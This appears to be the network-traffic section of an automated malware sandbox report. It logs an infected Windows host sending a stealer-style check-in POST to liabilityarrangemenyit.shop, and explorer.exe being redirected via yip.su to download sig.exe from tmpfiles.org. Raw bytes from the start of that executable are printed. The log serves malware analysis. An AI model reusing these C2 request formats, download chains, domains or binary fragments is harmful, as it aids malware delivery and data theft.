                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC571INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:50 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=N6elI%2BtJSzOh6SQj8ipgqNXAIxVyVQi82fvtQsc9BdiFHPQZriYWh4Q2H%2BD0SJ9%2FN4je35hrC2dlcv7%2B6PEPIplw7Xq6mDL%2FsMy8m2XFOVr6xY9jWery%2B2IzY8zYt1hRSjAG7HasHCGSo%2BmigGo%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263883495c4531-ATL
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC798INData Raw: 31 31 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20
                                                                                                                                                                                                                                                              Data Ascii: 1123<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC1369INData Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e
                                                                                                                                                                                                                                                              Data Ascii: ef="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC1369INData Raw: 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 5f 6d 6d 54 7a 54 4b 4c 4f 58 32 75 32 4c 65 78 74 4d 43 65 69 62 44 63 6f 73 71 7a 55 54 6f 4d 69 33 4a 51 4e 4c 2e 34 43 31 30 2d 31 37 30 37 34 31 39 39 33 30 2d 30 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 64 64 6f 73 2f 67 6c 6f 73 73 61 72 79 2f 6d 61 6c 77 61 72 65 2f 22 20 63 6c 61 73 73 3d 22 63
                                                                                                                                                                                                                                                              Data Ascii: enctype="text/plain"> <input type="hidden" name="atok" value="_mmTzTKLOX2u2LextMCeibDcosqzUToMi3JQNL.4C10-1707419930-0-/api"> <a href="https://www.cloudflare.com/learning/ddos/glossary/malware/" class="c
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC859INData Raw: 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f
                                                                                                                                                                                                                                                              Data Ascii: eparator sm:hidden">&bull;</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Clo
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              22192.168.2.549829104.21.83.220443
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC358OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Cookie: __cf_mw_byp=_mmTzTKLOX2u2LextMCeibDcosqzUToMi3JQNL.4C10-1707419930-0-/api
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 53
                                                                                                                                                                                                                                                              Host: liabilityarrangemenyit.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:50 UTC53OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 41 6d 4e 73 41 32 2d 2d 61 66 72 61 26 6a 3d 64 65 66 61 75 6c 74
                                                                                                                                                                                                                                                              Data Ascii: act=recive_message&ver=4.0&lid=AmNsA2--afra&j=default
                                                                                                                                                                                                                                                              2024-02-08 19:18:51 UTC818INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:51 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=5tgeudolkr88i0tdmdn4taih7r; expires=Mon, 03-Jun-2024 13:05:30 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tE03dtYeJwehhkjVCmRU%2Bit8CZ%2B%2BrgxckZy3xe90Yy4RoTzssuVCteGPg8FiehNEnGH3Y2cxxIkfNOsvUutBSKuoawjK7iCrVp%2FBV7CMKD14yiy9R9BpnmrqmqR9f7MOSok3srlOIy0cJUymk%2B8%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263886d89ab106-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:51 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:51 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              23192.168.2.549849172.67.169.894431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:20:22 UTC150OUTGET /29MkE5 HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: yip.su
                                                                                                                                                                                                                                                              2024-02-08 19:20:23 UTC1209INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:23 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              location: https://tmpfiles.org/dl/4175538/sig.exe
                                                                                                                                                                                                                                                              set-cookie: 526493891370831178=3; expires=Sat, 08 Feb 2025 19:20:22 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict
                                                                                                                                                                                                                                                              set-cookie: clhf03028ja=81.181.57.74; expires=Sat, 08 Feb 2025 19:20:22 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict
                                                                                                                                                                                                                                                              memory: 0.4123687744140625
                                                                                                                                                                                                                                                              expires: Thu, 08 Feb 2024 19:20:22 +0000
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              strict-transport-security: max-age=604800
                                                                                                                                                                                                                                                              strict-transport-security: max-age=31536000
                                                                                                                                                                                                                                                              content-security-policy: img-src https: data:; upgrade-insecure-requests
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=o6UWf%2FkUi5%2BQLyar%2Fpl4Rxqhnjo3p%2FMZ6yRPVUB4dH%2BWjO4x8SGCqVyqdqmlRXP02ZbhIvcAx8ddrkN0AwrrHr85g40%2BI2xoOw4pykse5Z2GIxwu3Q%2B8GRY%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263ac4ee87678a-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:20:23 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              24192.168.2.549850104.21.21.164431028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:20:23 UTC168OUTGET /dl/4175538/sig.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: tmpfiles.org
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1139INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:20:24 GMT
                                                                                                                                                                                                                                                              Content-Type: application/x-dosexec
                                                                                                                                                                                                                                                              Content-Length: 4747504
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Content-Disposition: inline; filename=sig.exe
                                                                                                                                                                                                                                                              Cache-Control: no-cache, private
                                                                                                                                                                                                                                                              CF-Cache-Status: BYPASS
                                                                                                                                                                                                                                                              Set-Cookie: XSRF-TOKEN=eyJpdiI6ImhkRTk4ZGt0eFhsaWE1V0pMYWhHVEE9PSIsInZhbHVlIjoiLzU1eEsreTM5T0Q0VGhMTVJIZ04zdjhnWGF1bzlrSjIwSEw0dEJDcWNablRCRmNrdU1SQmEwZExMRkwwNWIzQjdZbmFONDg3VXppREV2My8wRk5FMHZ6RnRxYlJOSmJsb1JwY2EwQnVDamFRMS9ncjJjanNZSHV1VlpCaGxHaXoiLCJtYWMiOiI2ZGFkYjM5ZjY0MTVhYmQzOTc1NDc1ODk5NjBlNDE0NDJmMzkyNTlkZGFiMTA0NzkyNjFhZmQxNDBjNDY1NDVlIn0%3D; expires=Thu, 08-Feb-2024 21:20:24 GMT; Max-Age=7200; path=/; samesite=lax
                                                                                                                                                                                                                                                              Set-Cookie: tmpfiles_session=eyJpdiI6IjR2WVZreVN5NEdQTEVrRDgya3U1Ymc9PSIsInZhbHVlIjoiOG93ODRpZndoUG5tL3hVem5kblo5bWd0UjJOZzlVUnE2RFM3OGQxbDgvTmN2Y0JUZ0tVTlVvdklzeUorVFU1OWtpdzBlUlI0WkxwQTRzRUNtc0FycEdQVGpBTitYZDNaOUpSdjBmU0FwTUZUY1U4NlRmWllNYzR0L0IzM3hUSEIiLCJtYWMiOiI4Y2E4NmE4OTU4ZjFmMmYzMGVjMzVkNDNiNDhkZTFmNTlmYjFmNjhmZDIzZjYzMGQwMTI5N2Y5NWQ4MmI3MjUyIn0%3D; expires=Thu, 08-Feb-2024 21:20:24 GMT; Max-Age=7200; path=/; httponly; samesite=lax
                                                                                                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC401INData Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 41 74 54 4c 4f 6c 41 52 59 33 49 76 6a 57 42 50 71 76 46 32 31 62 79 61 41 49 45 39 62 78 51 67 63 48 70 44 65 62 46 48 57 6c 65 41 59 55 6f 64 61 50 71 69 6f 49 69 64 65 53 6d 56 56 5a 6f 56 44 4b 79 74 25 32 42 4a 4c 5a 6d 4c 74 25 32 42 54 4e 39 31 6c 56 45 41 74 37 6f 42 32 78 46 52 49 6d 71 37 4d 51 46 54 4f 31 48 44 47 4c 68 52 4a 72 36 34 44 45 70 51 78 4d 38 30 77 37 69 62 50 77 63 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c
                                                                                                                                                                                                                                                              Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AtTLOlARY3IvjWBPqvF21byaAIE9bxQgcHpDebFHWleAYUodaPqioIideSmVVZoVDKyt%2BJLZmLt%2BTN91lVEAt7oB2xFRImq7MQFTO1HDGLhRJr64DEpQxM80w7ibPwc%3D"}],"group":"cf-nel","max_age":604800}NEL
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 42 5a d2 60 06 3b bc 33 06 3b bc 33 06 3b bc 33 b2 a7 4d 33 14 3b bc 33 b2 a7 4f 33 c5 3b bc 33 b2 a7 4e 33 1b 3b bc 33 db c4 6c 33 07 3b bc 33 a2 45 41 33 0f 3b bc 33 a2 45 b8 32 15 3b bc 33 a2 45 bf 32 1d 3b bc 33 db c4 77 33 03 3b bc 33 06 3b bc 33 1e 3b bc 33 ac 52 b8 32 c9 39 bc 33 12 44 b5 32 3c 3b bc 33 a2 45 b9 32 63 3b bc 33 db c4 72 33 03 3b bc 33 06 3b bd 33 07 39 bc
                                                                                                                                                                                                                                                              Data Ascii: MZ@H!L!This program cannot be run in DOS mode.$BZ`;3;3;3M3;3O3;3N3;3l3;3EA3;3E2;3E2;3w3;3;3;3R293D2<;3E2c;3r3;3;39
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 51 1c 31 f8 31 c9 31 fa 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 74 1d 00 88 d3 33 b4 0d 00 02 00 00 88 f1 c1 e8 10 33 b4 1d 00 01 00 00 88 e3 c1 ea 10 33 b4 0d 00 03 00 00 88 f1 25 ff 00 00 00 81 e2 ff 00 00 00 33 b4 1d 00 06 00 00 33 b4 0d 00 07 00 00 8b 0c 24 33 b4 05 00 04 00 00 33 b4 15 00 05 00 00 8b 41 20 31 db 8b 51 24 31 f0 31 c9 31 f2 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 7c 1d 00 88 d3 33 bc 0d 00 02 00 00 88 f1 c1 e8 10 33 bc 1d 00 01 00 00 88 e3 c1 ea 10 33 bc 0d 00 03 00 00 88 f1 25 ff 00 00 00 81 e2 ff 00 00 00 33 bc 1d 00 06 00 00 33 bc 0d 00 07 00 00 8b 0c 24 33 bc 05 00 04 00 00 33 bc 15 00 05 00 00 8b 41 28 31 db 8b 51 2c 31 f8 31 c9 31 fa 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 74 1d
                                                                                                                                                                                                                                                              Data Ascii: Q111%3t333%33$33A 1Q$111%3|333%33$33A(1Q,111%3t
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 74 1d 00 88 d3 33 b4 0d 00 02 00 00 88 f1 c1 e8 10 33 b4 1d 00 01 00 00 88 e3 c1 ea 10 33 b4 0d 00 03 00 00 88 f1 25 ff 00 00 00 81 e2 ff 00 00 00 33 b4 1d 00 06 00 00 33 b4 0d 00 07 00 00 8b 0c 24 33 b4 05 00 04 00 00 33 b4 15 00 05 00 00 83 c4 04 c3 90 90 90 90 90 90 90 90 90 90 90 90 51 8b 41 78 31 db 8b 51 7c 31 f0 31 c9 31 f2 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 7c 1d 00 88 d3 33 bc 0d 00 02 00 00 88 f1 c1 e8 10 33 bc 1d 00 01 00 00 88 e3 c1 ea 10 33 bc 0d 00 03 00 00 88 f1 25 ff 00 00 00 81 e2 ff 00 00 00 33 bc 1d 00 06 00 00 33 bc 0d 00 07 00 00 8b 0c 24 33 bc 05 00 04 00 00 33 bc 15 00 05 00 00 8b 41 70 31 db 8b 51 74 31 f8 31 c9 31 fa 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca
                                                                                                                                                                                                                                                              Data Ascii: 3t333%33$33QAx1Q|111%3|333%33$33Ap1Qt111%
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 74 1d 00 88 d3 33 b4 0d 00 02 00 00 88 f1 c1 e8 10 33 b4 1d 00 01 00 00 88 e3 c1 ea 10 33 b4 0d 00 03 00 00 88 f1 25 ff 00 00 00 81 e2 ff 00 00 00 33 b4 1d 00 06 00 00 33 b4 0d 00 07 00 00 8b 0c 24 33 b4 05 00 04 00 00 33 b4 15 00 05 00 00 8b 41 18 31 db 8b 51 1c 31 f0 31 c9 31 f2 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 7c 1d 00 88 d3 33 bc 0d 00 02 00 00 88 f1 c1 e8 10 33 bc 1d 00 01 00 00 88 e3 c1 ea 10 33 bc 0d 00 03 00 00 88 f1 25 ff 00 00 00 81 e2 ff 00 00 00 33 bc 1d 00 06 00 00 33 bc 0d 00 07 00 00 8b 0c 24 33 bc 05 00 04 00 00 33 bc 15 00 05 00 00 8b 41 10 31 db 8b 51 14 31 f8 31 c9 31 fa 25 fc fc fc fc 81 e2 cf cf cf cf 88 c3 88 e1 c1 ca 04 33 74 1d 00 88 d3 33 b4 0d 00 02 00
                                                                                                                                                                                                                                                              Data Ascii: 3t333%33$33A1Q111%3|333%33$33A1Q111%3t3
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 01 00 00 00 89 7c 24 04 89 1c 24 e8 cc fd ff ff c7 44 24 08 00 00 00 00 89 74 24 04 89 1c 24 e8 b8 fd ff ff 83 c4 0c 8b 3b 8b 73 04 c1 c6 02 c1 c7 03 89 f8 31 f7 81 e7 aa aa aa aa 31 f8 31 fe c1 c0 17 89 c7 31 f0 25 fc 03 fc 03 31 c7 31 c6 c1 c7 0a 89 f8 31 f7 81 e7 33 33 33 33 31 f8 31 fe c1 c6 12 89 f7 31 c6 81 e6 0f 00 f0 ff 31 f7 31 f0 c1 c7 0c 89 fe 31 c7 81 e7 f0 f0 f0 f0 31 fe 31 f8 c1 c8 04 89 03 89 73 04 5f 5e 5d 5b c3 90 90 90 90 90 90 90 90 90 90 90 90 55 53 56 57 8b 6c 24 1c 8b 5c 24 24 8b 33 8b 7b 04 57 56 57 56 89 e3 8b 74 24 24 8b 7c 24 28 8b 4c 24 38 51 8b 44 24 34 50 53 83 f9 00 0f 84 a8 00 00 00 83 e5 f8 8b 44 24 0c 8b 5c 24 10 0f 84 32 00 00 00 8b 0e 8b 56 04 31 c8 31 d3 89 44 24 0c 89 5c 24 10 e8 e6 fb ff ff 8b 44 24 0c 8b 5c 24 10 89
                                                                                                                                                                                                                                                              Data Ascii: |$$D$t$$;s1111%111333311111111s_^][USVWl$\$$3{WVWVt$$|$(L$8QD$4PSD$\$2V11D$\$D$\$
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 00 08 02 02 08 08 02 00 08 08 00 00 00 08 02 02 08 00 02 00 00 00 02 02 08 00 00 02 00 08 00 00 00 00 00 00 00 08 00 00 00 00 02 02 08 00 02 00 08 08 02 02 00 00 00 02 00 08 02 00 08 00 00 02 08 08 00 10 80 10 40 00 00 00 00 00 80 10 00 00 00 10 40 10 00 00 40 10 80 00 00 00 80 00 40 00 80 10 00 00 80 00 00 10 00 10 40 10 00 00 00 00 80 00 40 10 00 10 00 00 80 10 40 00 00 10 40 10 00 00 00 00 00 10 00 10 80 00 40 10 00 10 40 00 80 00 00 10 80 10 00 00 00 00 40 00 00 00 00 10 00 10 00 10 80 00 40 10 80 10 00 00 80 10 40 10 00 00 40 00 00 00 40 00 00 10 00 10 80 00 00 10 80 10 40 10 00 10 00 00 80 10 40 00 80 00 40 10 80 10 00 10 80 10 40 10 00 10 00 10 00 00 40 00 00 00 00 00 00 00 40 10 80 00 00 00 00 10 00 10 00 10 40 00 80 00 00 00 00 00 40 10 80 10 00
                                                                                                                                                                                                                                                              Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: 00 00 00 42 00 00 00 00 00 00 00 00 00 01 04 02 00 01 04 02 00 00 00 40 00 01 04 00 00 00 00 42 00 01 00 40 00 01 04 02 00 00 04 02 00 01 00 40 00 00 04 40 00 00 04 42 00 01 00 00 00 00 00 02 00 01 04 00 00 01 00 42 00 00 04 40 00 01 04 42 00 00 00 42 00 01 04 00 00 00 04 42 00 00 04 40 00 01 00 02 00 00 00 00 00 01 04 42 00 00 00 40 00 01 04 40 00 01 04 02 00 00 00 40 00 00 00 02 00 00 00 00 00 01 04 40 00 01 04 02 00 01 04 42 00 00 00 42 00 00 00 00 00 00 00 02 00 00 04 00 00 01 04 00 00 00 00 02 00 01 00 00 00 00 04 02 00 01 00 02 00 01 00 42 00 00 04 02 00 00 00 40 00 00 04 42 00 01 00 00 00 01 00 42 00 01 04 00 00 00 04 40 00 00 04 42 00 01 04 00 00 01 00 42 00 01 00 40 00 01 04 40 00 00 80 00 80 20 00 00 82 20 80 00 02 00 00 00 00 00 00 00 02 20 80
                                                                                                                                                                                                                                                              Data Ascii: B@B@@@BB@BBB@B@@@@BBB@BB@BB@@
                                                                                                                                                                                                                                                              2024-02-08 19:20:24 UTC1369INData Raw: c1 fc ff ff ff 8d 52 04 0f 85 ec ff ff ff 83 f9 00 0f 85 b6 ff ff ff c3 90 90 90 90 90 90 90 90 90 56 57 8b 74 24 0c 8b 7c 24 10 8b 4c 24 14 31 c0 31 d2 83 f9 00 0f 84 18 00 00 00 8a 16 8d 76 01 32 17 8d 7f 01 08 d0 49 0f 85 ed ff ff ff f7 d8 c1 e8 1f 5f 5e c3 90 90 90 90 90 90 90 90 90 90 55 53 56 57 b8 00 00 00 00 8d 15 90 d4 7b 00 0f ba 22 04 0f 83 47 00 00 00 0f ba 22 13 0f 83 3d 00 00 00 8b 7c 24 14 8b 4c 24 18 0f 31 89 c6 bb 00 00 00 00 0f ae 3f f0 01 1f e9 01 00 00 00 90 0f 31 89 c2 29 f0 89 d6 89 c3 0f ae 3f f0 01 07 8d 7f 04 83 e9 01 0f 85 e4 ff ff ff 8b 44 24 18 5f 5e 5b 5d c3 90 90 90 90 90 90 90 90 90 90 90 55 53 56 57 b8 00 00 00 00 8d 15 90 d4 7b 00 0f ba 22 04 0f 83 6b 00 00 00 0f ba 22 13 0f 83 61 00 00 00 8b 7c 24 14 8b 4c 24 18 8b 6c 24
                                                                                                                                                                                                                                                              Data Ascii: RVWt$|$L$11v2I_^USVW{"G"=|$L$1?1)?D$_^[]USVW{"k"a|$L$l$
